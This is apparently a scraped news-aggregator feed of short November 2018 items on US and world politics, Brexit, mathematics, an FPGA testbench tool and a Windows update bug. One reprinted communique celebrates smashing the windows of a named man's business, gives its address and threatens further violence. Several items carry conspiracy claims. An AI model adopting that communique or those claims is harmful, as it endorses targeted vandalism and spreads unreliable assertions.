NATO, and the United States within the organsation, remains a crucial partner for peace and security in Europe and we will continue to point that out to our partners in our discussions, he said.

AFP

19:35

We Have to Hyper-Inflate or Hyper-Deflate: Tom Luongo "IndyWatch Feed Allworld"

We Have to Hyper-Inflate or Hyper-Deflate: Tom Luongo: Tom Luongo by Rory The Daily Coin We recently sat down with Tom Luongo, Gold, Goats and Guns, to discuss the midterm elections and the implications of the outcome. We recorded...

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19:31

Palestinians Denounce Hollywood Stars $60m For Israeli Army Terror "IndyWatch Feed Allworld"

RAMALLAH, West Bank - As Hollywood stars celebrated at a fundraiser for the Israeli army last week in Los Angeles, halfway across the world Palestinians in the besieged Gaza Strip were waking up for another Friday of protest and bloodshed. The gala on 1 November, organised by Friends of the Israeli Defence Forces and attended by actors such as Ashton Kutcher, Gerard Butler and Andy Garcia, was praised by Israel and its supporters for raising a record $60 million and bringing together more than 1,200 people. A memorandum of understanding signed between Israel and Barack Obama's US administration in 2016 included a record $38bn deal to provide Israel with military assistance over a ten-year period, the largest such pledge in American history.

19:31

Langlands/Frenkel and Some Other Things "IndyWatch Feed Allworld"

The Canadian publication The Walrus today has a wonderful article about Robert Langlands, focusing on his attitude towards the geometric Langlands program and its talented proponent Edward Frenkel. I watched Frenkels talk at the ongoing Minnesota conference via streaming video (hopefully the video will be posted soon), and it was an amazing performance on multiple levels. A large part of it was a beautiful explanation of the history and basic conception of what has come to be known as geometric Langlands. He then went on to explain carefully some of the ideas in the recent Russian paper by Langlands, basically saying that they worked in the Abelian case, but could not work in the non-Abelian case. He ended by describing some alternate ideas that he is working on with David Kazhdan. Langlands was in the audience and at the end of the talk rose to comment extensively, but I couldnt hear his side of this since he had no microphone (that Frenkel was sticking to his guns though was clear).

The conference is finishing up right now, with final remarks by Langlands coming up later this afternoon.

A few more items, mostly involving my Columbia math department colleagues:

  • If you connect quickly to the streaming video from Minnesota, you may be able to catch Michael Harriss talk on local Langlands.
  • Quanta magazine has an article about a recent proof of an old conjecture by Dorian Goldfeld about ranks of elliptic curves. This is due to Alexander Smith, now a third year graduate student at Harvard (he started working on this while an undergrad at Princeton, with Shouwu Zhang). His twin brother Geoffrey is also a math grad student at Harvard.
  • For those more interested in physics than m...

19:30

Hillary Clinton: If Stacey Abrams Had A Fair Election, She Would Have Already Won "IndyWatch Feed Allworld"

Setting the narrative that the GOP stole the election. Via NRO: Hillary Clinton said Tuesday that Democratic Georgia gubernatorial candidate Stacey Abrams has been unfairly kept out of office through illicit electoral practices. I know Stacey [Abrams] well she was one of my really strong surrogates in the campaign. If shed had a fair []

19:30

David Icke: We Are Being Invaded (Video) "IndyWatch Feed Allworld"

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19:30

Daily crossword "IndyWatch Feed Allworld"

This is Subscriber Content. You can access subscriber content, including crosswords, sudoku, polling, commentary and podcasts by subscribing to one of our membership packages. The post Daily crossword appeared first on Whale Oil Beef Hooked | Whaleoil Media.

19:30

Gresham College: Prof. Carolyn Roberts Britain In Troubled Waters #3 The Creeping Paralysis of Drought "IndyWatch Feed Allworld"

About this series

Rivers are all around us, flowing from the rural to the urban and carrying with them traces of all that makes up the modern environmental conundrum that is one of the largest problems facing the UK today. From drought and floods to pollution and urbanisation, this series of lectures takes us on a journey into the heart of the environmental problems facing us all.

https://youtu.be/bB3Fy3KUmso

About this lecture

Water shortage is an increasingly common challenge to development in southern England, as water is progressively diverted away from supporting ecosystems, and into agri-business, industry and homes. Climate change and population growth appear to be drawing us closer to the edge of an abyss. Drawing on research in the developed world (particularly in Spain and the UK), the lecture will explore the anatomy of severe droughts, and their consequences. 

Can technology innovation offer realistic solutions to this problem, or will the competing interests of many different stakeholders prevent us from agreeing what needs to be done?

19:29

How Elites Use Mainstream Media to Maintain and Expand Their Power "IndyWatch Feed Allworld"

By Kit Klarenberg Sputnik November 16, 2018 For quite some time, debate about fake news has reverberated clamorously in both mainstream and alternative discourse. One could easily conclude the issue was a pressingly new plague, restricted to certain corners of the web but academic TJ Coles begs to differ. In fact, he []

19:27

The euros inevitable crisis begat the racist political forces Mr Steve Bannon is now courting Oxford Union address, 16th November 2018 "IndyWatch Feed Allworld"

On 17th October 2018, Valdis Dombrovskis, Vice President of the European Commission, addressed the Oxford Union in support of the motion that the euro has never been stronger. Today, Friday 16th November 2018, Steve Bannon is addressing the Oxford Union also. In between, on Wednesday 14th November 2018, I had the opportunity to also address the Oxford Union with the following message: The euros inane architecture caused and reinforced the colossal crisis in Europe which underpinned Brexit and begat fascist movements across the continent the ones Mr Steve Bannon is now cultivating into a Nationalist International.

In this context, Mr Dombrovskis and Mr Bannon represent the two sides of the same coin: an axis of authoritarian politics and ludicrous economic policies turning Europe into Donald Trumps ultimate dream a reactionary, divided Europe that serves perfectly well his designs for a reactionary, divided world. The two men, I added, share something else too: On hearing that the Oxford Union had invited me to be his opponent on 17th October, Mr Dombrovskis office demanded that I be dis-invited. Similarly, Mr Steve Bannon withdrew from a debate between us that was to have taken place earlier.

For the discussion that followed my speech, click below:

19:26

THE HORRIBLE REALISATION THAT PERHAPS I'M A BORING OLD FART "IndyWatch Feed Allworld"

Readers of my blog will know that for whatever reason I continue to rack up the air miles which may have been fun fifty years ago but right now is a chore.

So I have to report that the latest Air NZ safety video where the whole bloody thing is in the form of Hip-Hop leaves me decidedly cold.

More concerning is the realisation that my reaction might be a sign that I'm becoming/become a boring old fart mitigated only by the fact that looking at the faces of my fellow passengers their reactions varied from the amazed to the incredulous. 

19:24

Canada could join US in sanctioning Saudi Arabai over Khashoggi murder "IndyWatch Feed Allworld"

Canada could soon join the United States in imposing sanctions against the Saudi nationals accused of killing journalist Jamal Khashoggi, Canadian Foreign Minister Chrystia Freeland told reporters. Earlier in the day, the US Treasury Department sanctioned 17 Saudis under the Global Magnitsky Human Rights Accountability Act, including the head of the Saudi Consulate in Istanbul, where Khashoggi was killed on October 2. "Canada welcomes the US action. When it comes to Canada, we also do have Magnitsky legislation in place and that is a tool that we have found very useful in our foreign policy," Freeland said on Thursday, as quoted by CBC News. "And that is certainly something which in the coming days Canada is actively considering."

19:19

What Recent London Demos Say About The State Of The British Left "IndyWatch Feed Allworld"

Demonstrations on successive weekends in London last month shone a spotlight on major political rifts in the major parties and in the political left. On October 13, an extreme right-wing Democratic Football Lads Alliance (DFLA) march was out-mobilised and disrupted by anti-fascist demonstrators. One week later, about 670,000 people turned out for a Peoples Vote demonstration. The Peoples Vote march was ostensibly to call for a referendum on the terms of Britains withdrawal from the European Union. In reality, it was an attempt to re-run the 2016 referendum that narrowly voted in favour of leaving the EU. Both demonstrations highlighted fault lines on the left. The huge People's Vote demonstration was dominated politically by the right-wing, pro-EU trend in the Labour Party, as well as the Liberal Democrats.

19:15

How to upgrade, renew or change your Whaleoil subscription "IndyWatch Feed Allworld"

If your subscription has not automatically renewed it may be because you hadnt ticked for it to automatically renew when you set it up because your credit card has expired because you have removed your credit card details from Paypal. because of insufficient funds If you want to update your credit card details click here. If [] The post How to upgrade, renew or change your Whaleoil subscription appeared first on Whale Oil Beef Hooked | Whaleoil Media.

19:14

Tucker Carlson: Ocasio-Cortez has 'good point' in criticizing tax breaks for Amazon "IndyWatch Feed Allworld"

Fox News host Tucker Carlson says Rep.-elect Alexandria Ocasio-Cortez (D-N.Y.) "has a very good point" in criticizing Amazon for receiving taxpayer subsidies for its new headquarters, asking, "How does that work?" Carlson admitted on his prime-time program late Tuesday that while he hated "to admit it," he agreed with Ocasio-Cortez's perspective. "Jeff Bezos, who is the world's richest man, will receive more than $2 billion in subsidies from you, the taxpayer," he stated. "New Congresswoman Alexandria Ocasio-Cortez had this to say: 'Amazon is a billion-dollar company. The idea it will receive hundreds of millions of dollars in tax rates at a time when a subway is crumbling in our communities need more investment, not less, is extremely concerning to residents here.'" "I hate to admit it, but Alexandria Ocasio-Cortez has a very good point," Carlson continued. "It's hard to argue with the internal logic, the richest man in the world just got $2 billion in taxpayer subsidies. How does...

19:13

Afghanistans Economic Gain and Loss from National Air Corridor Program "IndyWatch Feed Allworld"

Afghan President Ashraf Ghani with Indian President Narendra Modi on December 1, 2014 (Narendra Modi)

19:13

Portland, OR: Direct Action Against Right-Wing Violence; We Refuse to be Victimized "IndyWatch Feed Allworld"

The post Portland, OR: Direct Action Against Right-Wing Violence; We Refuse to be Victimized appeared first on It's Going Down.

The following communique was sent anonymously to Its Going Down, which we reprint here.

It reads:

On the night of November 15th, a crew of anti-fascists gathered to take direct action against the rise of right-wing violence in our community.  We paid a visit to the business of III%er and murderer Joseph Dymond Vinci.  Last February Dymond brutally beat and murdered Richard Hanley, a housless man, while he collected trash in the strip mall that houses Dymonds tattoo parlor in S.E. Portland. Dymond was never charged for his deadly actions because of Oregons stand your ground laws, which give white gun owners carte blanche to victimize with impunity the most marginalized members of our society. Just because the state wont hold Dymond accountable for his actions doesnt mean we wont.

While Dymond isnt giving tattoos at his parlor, Timeless Tattoo, (1218 SE 7th Ave, Portland, Oregon) hes fraternizing with the far-right nationalists and xenophobes of Patriot Prayer online.  Posting explicit threats of violence against anti-fascists and pontificating about a war with the left. While this cities shit river may not be flowing with the blood of antifa, the floor of your tattoo parlor is now flowing with the shards of glass from your windows.  In the back drop of continued racist and misogynistic violence being orchestrated by Patriot Prayer in our city, Dymonds words should not be viewed as idle threats; he has killed in past and has expressed a desire to kill in the future. Dymond is not welcome in Portland.

We refuse to be victimized. We refuse to allow right-wing jingoists and xenophobes to run rough-shot over our city. We will bash back.

This action is dedicated to all...

19:10

Doug Caseys REAL State of the Union: The First Amendment "IndyWatch Feed Allworld"

Doug Caseys REAL State of the Union: The First Amendment by Doug Casey by Joel Bowman  International Ma Joel Bowman: Good morning, Doug. Thanks for taking the time to talk. Where in the world do we find you today? Doug Casey:...

The post Doug Caseys REAL State of the Union: The First Amendment appeared first on The Daily Coin.

19:09

Somali-American Congresswoman Ilhan Omar Backs BDS Amid Facing Anti-Semitism Smear Campaign "IndyWatch Feed Allworld"

Longtime supporter of Palestine Ilhan Omar has taken her passion to Congress and backed the BDS movement. The first Somali-American congresswoman Ilhan Omar has backed the Boycott Divestment and Sanctions movement after a large attempt to smear her as an anti-Semite for her Palestine activism. Ilhan believes in and supports the BDS movement, and has fought to make sure peoples right to support it isnt criminalised. She does however, have reservations on the effectiveness of the movement in accomplishing a lasting solution, her office told Muslim Girl on Sunday. This comes after months of being attacked online for her support for Palestine, with many trying to smear her as an anti-Semite.

19:05

Notice of Resolution: Withdrawal of SEM Support 111602 "IndyWatch Feed Allworld"

IN PROGRESS TIA [September 24, Confidential 10] TNWG [October 22, Confidential 10] MIRR [Nov. 14, Confidential 10] Related Groups: CJ Notice of withdrawal of SEM Support for multiple regions FIRE-EARTH Science Team has resolved to withdraw SEM Support, as of today, for the following areas in East Asia and the Americas: 1913 3872 6891 Details available []

19:04

Debbie--have you seen THE RANSOM OF MERCY CARTER by Caroline Cooney? "IndyWatch Feed Allworld"

A reader wrote to ask if I've reviewed The Ransom of Mercy Carter by Caroline Cooney. It was published in 2001 by Random House. Here's the overview:

Deerfield, Massachusetts is one of the most remote, and therefore dangerous, settlements in the English colonies. In 1704 an Indian tribe attacks the town, and Mercy Carter becomes separated from the rest of her family, some of whom do not survive. Mercy and hundreds of other settlers are herded together and ordered by the Indians to start walking. The grueling journey three hundred miles north to a Kahnawake Indian village in Canada takes more than 40 days. At first Mercy's only hope is that the English government in Boston will send ransom for her and the other white settlers. But days turn into months and Mercy, who has become a Kahnawake daughter, thinks less and less of ransom, of Deerfield, and even of her "English" family. She slowly discovers that the "savages" have traditions and family life that soon become her own, and Mercy begins to wonder: If ransom comes, will she take it?
The Ransom of Mercy Carter is a captivity story. These kinds of story started with Mary Rowlandson's account of her captivity in 1676. There have been many since then, including

  • Lois Lenski's Indian Captive: The Story of Mary Jemison, published in 1941. Like Cooney's book, it  also won a Newbery Honor Medal.
  • Elizabeth George Speare's Calico Captive, published in 1957, and based on the capture of James Johnson and his family in 1754. 


It'd be interesting to do a chart of plot points across these three books. Cooney's opens with the place (Deerfield, Massachusetts), the date (February 28, 1704) and the temperature (10 degrees below zero). The first page is about Mercy's family settling into bed for the night, and praying:
Dear Lord, prayed Mercy Carter, do not let us be murdered in our beds tonight.
I'll see if I can get a copy of the book, but some things I see (like that first line) suggest that the book is a sensational telling--more of a thriller than anything else. The word "savage" appears in it 29 times.

Skimming what I can see online, I see there's a scene where the captive kids watch a Native man who had "taken four scalps" earlier. The description of his actions is very detailed as he scrapes flesh away. Pretty gross, isn't it? So, I have a hunch that The Ransom of Mercy Carter will end up with a not recommended tag.

19:04

JUST IN: President Trump Finishes Written Responses to Muellers Questions "IndyWatch Feed Allworld"

President Trump told the White House press pool on Friday that his legal team finished written responses for Robert Muellers questions, but that they have yet to submit them to the Special Counsel.

The Presidents written responses to Mueller will reportedly be about alleged Russian collusion, not obstruction of justice.

Mueller is also seeking to question President Trump on so-called obstruction of justice however, Mueller and his investigators understood that issues of executive privilege could complicate their pursuit of a presidential interview and did not ask for written responses on that matter, The New York Times previously said.

Via White House Correspondent for the Daily Caller: NEW: @POTUS just told the pool he has just finished his written responses to Muellers questions but they have not been submitted. You always have to be careful answering questions for people who have bad intentions.

Last month, CNN reported President Trumps lawyers were preparing written answers to Special Counsel Robert Muellers questions.

President Trumps lawyers have sparred with Muellers team for several months over how the President will answer questions, or if he will sit down for an interview with Mueller.

The President has said in many different interviews he would be open to sitting down for an interview with Mueller, however, his legal team has strongly advised against it.

Any sit-down interview with Robert Mueller would be a perjury trapTrump should avoid it at all costs.

An attorney for Trump, Jay Sekulow previously said hes prepared to take Mueller all the way up to the Supreme Court if he were to issue a...

19:04

We will get through #Brexit, but will still have to address the erosion of North/South relations "IndyWatch Feed Allworld"

Theres an air of unreality about politics in Northern Ireland these days, and it is not clear when or even if it is likely to return anytime soon. Everyone seems to be waiting for Brexit to happen, but Brexit is a process that appears to be becoming more uncertain with every twist.

It may be that no one is clamering for Northern Irish democracy to return, but the democratic has been weakened by the displacement of serious journalism for sensationalist coverage of old sores and petty catcalling passing as serious comment on the current affairs of state.

Its a reflection of just how impoverished the public square in Northern Ireland become that one of the few serious analyses being offered comes from the leader of a political party that doesnt (yet) run for elections in Northern Ireland, Micheal Martin of Fianna Fail

I believe that the most serious damage already caused by Brexit has been to relations between communities on this island.  It has deeply undermined one of the greatest achievements in our modern history the development of close and constructive relations between unionism in Northern Ireland and nationalism in the Republic.

Stopping this damage from getting worse, and prioritising a rebuilding of North/South working relations needs to become a real priority once the final form of Brexit becomes clear.

No one can doubt that relations between the government in Dublin and political unionism are at their lowest point in at least twenty years.  There has been a return to rhetorical sniping which has had much more impact than various welcome but largely marginal cultural gestures.

Earlier this year, and for the first time in over a quarter of a century, the largest party of unionism actually refused to attend an all-party negotiation if the Taoiseach was present.

This step backwards into a defensive posture of this is none of your business is a radical departure from the approach which achieved so much in the past.

Could you imagine just how little could have been achieved if David Trimble or Ian Paisley had refused to talk to Bertie Ahern or indeed if Bertie Ahern had said, as the Taoiseach has, its not my job to deliver the Unionists?

Lets put this very simply: Without a return to an atmosphere of trust, understanding and permanent engagement nothing can improve.

Brexit is causing so much damage specifically because the foundations were already weakened by years of disengagement and the fai...

19:02

Hillary Clinton Ordered To Answer Additional Questions Under Oath About Private Email Server "IndyWatch Feed Allworld"

Hillary Clinton Ordered To Answer Additional Questions Under Oath About Private Email Server from ZeroHedge A federal judge has ordered Hillary Clinton to respond to further questions, under oath, about her private email server. Following a lengthy Wednesday court hearing,...

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19:01

FPGA Testbenches Made Easier "IndyWatch Feed Allworld"

You finally finish writing the Verilog for that amazing new DSP function that will revolutionize human society and make you rich. Does it work? Your first instinct, of course, is to blow it into your FPGA of choice and see if it works. If it does, that was a great idea. If it doesnt, it was a terrible idea because typically it is hard to look inside the FPGA. Thats why youll typical simulate your logic on a desktop computer before you commit it to the FPGA. But that means you have to delay gratification long enough to write a testbench a piece of hardware description language (HDL) code that exercises the function you wrote. In this post Ill show you a small piece of software that can read your Verilog module and automatically create most of a testbench for you. The code originally came from GitHub, but I wanted to make some changes to it, so I forked it and Ill tell you about the changes I made. This isnt specific to a particular FPGA. Any Verilog project can use the tool to generate a simple starter testbench.

Writing a testbench isnt that hard. You usually use the same language you wrote the original code in but since it wont reside in silicon, you can do things in the simulator that you cant get away with in code that youll synthesize. However, it is a bit painful to have to always write more or less the same code, especially if you have a lot of modules you want to test. But it is a good idea to test small modules before linking them together and then test them linked together, too. With this little Python script, it is very easy to generate a simple testbench and then further elaborate it. It isnt life-changing, but it does save some time. If you want to try this out, youll need something to run the Python script on, of course. You also need a Verilog simulator or you can use EDA Playground to try all this out in your browser.

Anatomy of a Testbench

A Verilog testbench usually had a few major sections:

  1. A module with no inputs or outputs. This is like the main function of a C program.
  2. Reg variables for all the inputs you want to feed to the device or devices under test.
  3. Wire variables for all the outputs you want to monitor for the device or devices under test.
  4. An initial section that initializes all the reg variables.
  5. Since the device under test probably needs a clock, an always block or a forever loop will create the clock in one of the reg variables.
  6. Since the device under test probably needs a reset, youll frequently start out by generating a re...

19:00

Saturday soapbox "IndyWatch Feed Allworld"

Saturdays soapbox is yours to use as you will within the bounds of decency and absence of defamation. Youre welcome to look back or forward, discuss issues of the moment, to pontificate, ponder or point us to something of interest, to educate, elucidate or entertain, amuse, bemuse or simply muse, but not abuse.

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The urge to pass new laws must be seen as an illness, not much different from the urge to bite old women. Anyone suspected of suffering from it should either be treated with the appropriate pills or, if it is too late for that, elected to parliament [or congress, as the case may be] and paid a huge salary with endless holidays, to do nothing whatever. Auberon Waugh

 

19:00

Robert Spencer in FrontPage: Islamophobia Outbreak in California "IndyWatch Feed Allworld"

A Muslim was found with a Quran, a book on terrorism, and a sawed-off rifle. What else could this be but Islamophobia? My latest in FrontPage: The San Francisco Chronicle has discovered a case of Islamophobia, and their intrepid reporters are on the job: An Alameda County prosecutor, were told, recently held up an unusual []

19:00

Classless: Bette Midler slammed for vulgar caption of Melania Trump modeling photo "IndyWatch Feed Allworld"

You know what they say about liberals and double standards From Fox News: Bette Midler, who last month called women the most disrespected creatures on earth, is now in hot water for showing disrespect to first lady Melania Trump. On Thursday, Continue reading

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19:00

NYT series about Moscow's plot to 'tear West apart' is a jewel of psychological projection "IndyWatch Feed Allworld"

Russia has been scheming for decades to splinter the West with civilization-shattering fake news, claims a shocking three-part film series published by the New York Times. The series was filed under "op-ed" for a reason, however. Russia's alleged "meddling" in the 2016 presidential election is the "culmination of Moscow's decades-long campaign to tear the West apart," according to the scary graphics-filled, spooky music-stuffed video series. The three-part report - safely labelled opinion/editorial - insists that America's internal political squabbles can be traced back to a "virus" conceived by "KGB spies"in the 1980s. Who knew that the Soviets had Twitter? "Americans are using Russia's playbook against one another without the faintest clue," the NYT series warns. To back up their ironclad claims, the filmmakers interview a former Czechoslovak intelligence service officer, Ladislav Bittman, about all the terrible fake news that the KGB once spread - and purportedly continues to...

19:00

At Folsom Prison: Johnny Cashs career-changing show "IndyWatch Feed Allworld"

This is a really interesting dissection of a show and album many of us may have heard as kids. I met Mr Cash briefly when I lived in Nashville, TN and, even though it was in a very mundane setting, I couldnt have been more excited and he couldnt have been more generous and kind.

19:00

UK Subway Employee Ambushed by Gang Over Out of Order Toilet "IndyWatch Feed Allworld"

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UK Subway Employee Ambushed by Gang Over 'Out of Order' Toilet

A 21-year-old Subway employee was ambushed and brutally beaten by a teen gang in the UK after he told them...

19:00

Whaleoil general debate "IndyWatch Feed Allworld"

Good morning, welcome to our daily Whaleoil General Debate. Our evening General debate is called Backchat and will start at 6 pm On General debate, you are encouraged as a commenter to share your own stories, discuss other news, bring NEW news, catch up with friends or make new friends with other commenters. To participate youll [] The post Whaleoil general debate appeared first on Whale Oil Beef Hooked | Whaleoil Media.

18:59

Senators push bipartisan bill to crack down on robocalls "IndyWatch Feed Allworld"

Two senators are pushing a new bipartisan bill to crack down on illegal robocall scams, raising the maximum civil fine for violators to $10,000 per call.Sens. John Thune (R-S.D.), the current chairman of the Senate Commerce Committee, and Ed Markey...

18:59

Amnesty and Human Rights Watch call for independent review of Prevent "IndyWatch Feed Allworld"

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Critics of Prevent describe it as a 'highly dubious' scheme in need of independent oversight

18:58

'Fake news' isn't new: Throughout history elites have used the media to 'maintain and expand their power' - new book "IndyWatch Feed Allworld"

For quite some time, debate about 'fake news' has reverberated clamorously in both mainstream and alternative discourse. One could easily conclude the issue was a pressingly new plague, restricted to certain corners of the web - but academic TJ Coles begs to differ. In fact, he tells Sputnik fake news has been ubiquitous for thousands of years. It's difficult to pinpoint the precise moment the term 'fake news' entered the Western political and media lexicon, but the election of Donald Trump as US President certainly turbocharged its usage. For the controversial leader and his supporters, the label can be automatically applied to any and all media reporting critical of him, while his opponents play much the same game when roles are reversed.

18:53

US Has Killed More Than 20 Million People in 37 Victim Nations "IndyWatch Feed Allworld"

US Has Killed More Than 20 Million People in 37 Victim Nations Since World War II

Most Popular Global Research 2017 Articles


First published in November 2015
GR Editors Note
Let us put this in historical perspective: the commemoration of the War the End All Wars  acknowledges that ...

18:52

Man Who Shouted Hail Hitler, Heil Trump At Fiddler On The Roof Was Anti-Trump "IndyWatch Feed Allworld"

A fact some media are burying. Via Daily Caller: The man who shouted Heil Hitler! Heil Trump! during the intermission of Fiddler on the Roof on Wednesday reportedly did it because he hates President Donald Trump and his supporters. Baltimore police identified the man as 58-year-old Anthony M. Derlunas II. Derlunas reportedly told police he []

18:52

Amazons Billion-Dollar Shakedown Of Americas Cities "IndyWatch Feed Allworld"

If one required reminding of the Democratic Partys complete capitulation to corporate interests, to say nothing of the countrys as a whole, he or she need only have listened to New York City Mayor Bill de Blasios address on Tuesday. One of the biggest companies on earth next to the biggest public housing development in the United States, he told reporters during a joint press conference with Gov. Andrew Cuomo. The synergy is going to be extraordinary. The company in question is Amazon, which confirmed earlier that morning that Long Island City, Queens, will become the site of its second headquarters (a third headquarters will be located in northern Virginia).

18:51

Nancy Pelosi meets with potential House speaker rival Marcia Fudge "IndyWatch Feed Allworld"

House Minority Leader Nancy Pelosi on Friday met with a Democratic lawmaker considering challenging her for speaker when the party takes the majority in early January.

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Pelosi and Rep. Marcia Fudge (D-Ohio) met in the leaders Capitol office as House members left town for the Thanksgiving break.

The pair met for about 45 minutes and had a candid and respectful conversation, Pelosi said in a brief statement.

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Marcia Fudge

Fudge is trying to convince fellow Democratic lawmakers a leadership change is needed, while Pelosi tries to wrangle enough votes for a return to the speakership she held 2007-11.

Rep. Elijah Cummings (D-Md.) set up the meeting, according to Pelosis spokesman Drew Hammill.

Democrats will hold their leadership elections on Nov. 28 in a private caucus vote. The partys speaker nominee must still win a majority of the House when the new Congress opens, in a public vote.

https://www.washingtonexaminer.com/news/campaigns/nancy-pelosi-meets-potential-house-speaker-rival-marcia-fudge

18:51

Court temporarily restores CNN reporter Jim Acosta's WH press pass "IndyWatch Feed Allworld"

CNN reporter Jim Acosta has had his White House press pass - revoked by President Trump after a verbal clash last week - restored by a federal court. Judge Timothy J. Kelly ruled on Friday that Acosta should have his press pass returned immediately. The ruling is a temporary one, and Kelly has not yet ruled on whether Trump's revocation of Acosta's press pass was unconstitutional. The White House said that it would reinstate Acosta's press pass, but will "further develop rules and processes to ensure fair and orderly press conferences in the future." CNN filed the lawsuit following a heated exchange between Acosta and Trump at a press conference last week. During the exchange, Acosta challenged Trump over the president's claims that a migrant caravan bound for the US border could be considered an "invasion." Acosta defied Trump's repeated warnings to sit down, and became pushy with a White House staffer who tried to relieve him of the microphone.

18:50

Years of Recklessly Low Interest Rates Causes Inflation to Soar "IndyWatch Feed Allworld"

Years of Recklessly Low Interest Rates Causes Inflation to Soar by Nathan McDonald Sprott Money The stock market has been rising, GDP has been rising, and the rate of unemployment has been steadily dropping since the Republicans took office,...

The post Years of Recklessly Low Interest Rates Causes Inflation to Soar appeared first on The Daily Coin.

18:49

The Air Quality Health Crisis from the California Wildfires "IndyWatch Feed Allworld"

The smoke from the California wildfires near Paradise, CA is producing the greatest air quality health crisis in the modern history of California.   Schools, universities, and sports events are being cancelled.

Although the terrible loss of life directly caused by wildfires in and near Paradise should not be minimized in any way, the health impacts of smoke will be profound, with millions of people being exposed to high concentrations of wood smoke.  Hospitalizations will surely increase and some increase mortality of vulnerable populations should be expected.

MODIS satellite imagery on Thursday at noon.  Dense smoke filled the central valley of CA and moved directly over the Bay Area.

For me, it is also personal.  My son, a healthy young man of 27 living in San Francisco, is greatly feeling that smoke as is his similarly aged co-workers and friends.  If young, healthy individuals are being sickened, can you image the impacts of those that are vulnerable?

The current air quality conditions around the Bay area are pretty extreme (see below), with much of San Francisco and neighboring areas in the very unhealthy range (200-300).   Looking at data around the world, it appears that San Francisco now has worse air quality than any major metropolitan area in the world, worse than even Beijing and Mumbai.


But what really stands out is the longevity of this poor air quality event-- extending 7-9 days now for many central CA locations.    From my perusal of the air quality data of the Bay Area Air Quality Agency and other sources, this event is unprecedented in the 20 year period of data available.
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18:48

The Dalrymple Report: iPad Pro, Amazons social responsibility with Dave Mark "IndyWatch Feed Allworld"

Dave and I discuss the iPad Pro magnets, Stan Lee, and Amazons, or any companies social responsibility, when moving into a new town.

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18:47

Windows 10 October 2018 Update Rolls Out Again, Still Full Of Flaws "IndyWatch Feed Allworld"

Windows 10 October Update Still Incompatible With Some AMD GPUs

Mapped drives may fail to reconnect after starting and logging onto a Windows device, Microsoft says, noting that symptoms include a red X on the mapped network drives in File Explorer.

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Date Current Status Affected Platforms Details
November 14, 2018, 6:00 PM PT Known Issue
  • Windows Server 2019
Mapped drives may fail to reconnect after starting and logging onto a Windows device.

Symptoms include:

  • In File Explorer, a red X appears on the mapped network drives.
  • Mapped network drives show as Unavailable when you run the net use command from a command prompt.
  • In the notification area, a notification displays, Could not reconnect all network drives.

Workaround: See KB4471218 for workaround scripts to automatically reconnect a mapped network drive when you log on to the device.

Next Steps: Microsoft is working on a resolution and will provide updates in the 2019 timeframe.

18:46

EU Responds To US Midterm Elections With Calls For Military Build-Up "IndyWatch Feed Allworld"

Europes political and media establishment is responding to the 2018 US midterm elections with calls for a military build-up to confront Washington and for legitimizing far-right politics. It is ever clearer that the breakdown in trans-Atlantic relations following Donald Trumps election and his trade war measures against Germany and China was not a coincidence or a passing blip. European ruling circles are widely interpreting Trumps ability to extend Republican control of the Senate, though he lost control of the House of Representatives to the Democratic Party, as a sign that growing US-European conflicts reflect a deeper crisis than they originally believed. They are calling for their own aggressive military policy in response.

18:45

Cointelpro Gothic: Attorney General Whitaker Linked to Probes on 2008 RNC, Grand Juries "IndyWatch Feed Allworld"

Southern District of Iowa Acting US Attorney General Matthew Whitaker, formerly Jeff Sessions Chief of Staff, served as US Attorney for the Southern District of Iowa, from June 15, 2004 to November 25, 2009. During this tenure, his office engaged with FBI investigations around

The post Cointelpro Gothic: Attorney General Whitaker Linked to Probes on 2008 RNC, Grand Juries appeared first on UNICORN RIOT.

18:41

How the migrant caravan sparked a movement "IndyWatch Feed Allworld"

by Jeff Abbott

Thousands set out by foot from Esquipulas, Guatemala on Oct. 21. (WNV/Jeff Abbott)

After a long, grueling journey, the first groups of Honduran migrants and asylum seekers began arriving in Tijuana on Nov. 14 in hopes of finding asylum and opportunity in the United States. Thousands more follow closely behind.

Having left San Pedro Sula on Oct. 13, the thousands of men, women and children from Honduras braved the elements for over a month to reach the United States in hope of escaping violence, poverty and state repression.

The first caravan sparked a movement. Small groups of migrants formed across Honduras and El Salvador in the weeks following the first caravan. Now at least four caravans are in route towards the United States in hope of finding new opportunities in the north.

The second caravan grew to nearly 1,500 migrants and refugees by the time it reached the Guatemala town of Esquipulas on Oct. 21. Cesar Isaguirre, a single father who is originally from Choluteca, Honduras, walked in front of the second caravan. Isaguirre sang JOH Es Pa Fuera Que Vas which translates to Juan Orlando Hernndez you are going out a popular song written by Honduran singer Macario Mejia that gained popularity in the lead up to the illegal re-election of the Honduran president in 2017, with others echoing the lyrics.

The situation is critical in our country, Isaguirre explained, while walking down the highway on his way out of Esquipulas. There was no money to help us when our village flooded, but there was money to repress the people that are trying to go to the United States in search of a better life.

The choice for Isaguirre was not easy. It is a very difficult decision to make, he said. You have to leave your family, your children without knowing what will happen in route to the United States.

As the second caravan...

18:40

Whats Really in the First Step Act? "IndyWatch Feed Allworld"

Too much? Too little? You be the judge.

18:38

Chuck Schumer Caved to Facebook and Donald Trump. He Shouldnt Lead Senate Democrats. "IndyWatch Feed Allworld"

U.S. Senate Minority Leader Sen. Chuck Schumer (D-NY) speaks to members of the media in Washington, D.C., on Nov. 14, 2018.

18:38

Saudi Arabia to Seek Death Penalty for Khashoggis Accused Killers "IndyWatch Feed Allworld"

GOP House Candidates Adopt Trump Tactic of Charging Vote Fraud With Races Still Undecided (Chris)

The author writes, Two Orange County [CA] Republicans facing the prospect of defeat in the Nov. 6 congressional election as final ballots are counted have adopted President Trumps tactic of making baseless allegations of vote fraud.

Video: GOP Senator Spoke of Difficult Voting for Liberals (Reader Steve)

The author writes, A Republican US senator from Mississippi is shown in a new video talking about liberal folks and making it just a little more difficult for them to vote.

As the Obama DOJ Concluded, Prosecution of Julian Assange for Publishing Documents Poses Grave Threats to Press Freedom (Jimmy)

The author writes, The Trump Justice Department inadvertently revealed in a court filing that it has charged Julian Assange in a sealed indictment. The disclosure occurred through a remarkably amateurish cutting-and-pasting error in which prosecutors unintentionally used secret language from Assanges sealed charges in a document filed in an unrelated case.

Kellyanne Conways Husband Leads Group Who Say Trump Is Undermining Rule of Law (Reader Steve)

The author writes, As Trumps DOJ says he has the power to depart from the succession order that was established by one federal law by appointing Acting AG Matthew Whitaker, more than a dozen prominent conservative lawyers raised the alarm about Trump undermining the rule of law, before the annual convention of the Federalist Society, a conservative legal group, this Thursday, the....

18:37

US Court Lists DNS and Routing Services in Broad Anti-Piracy Order "IndyWatch Feed Allworld"

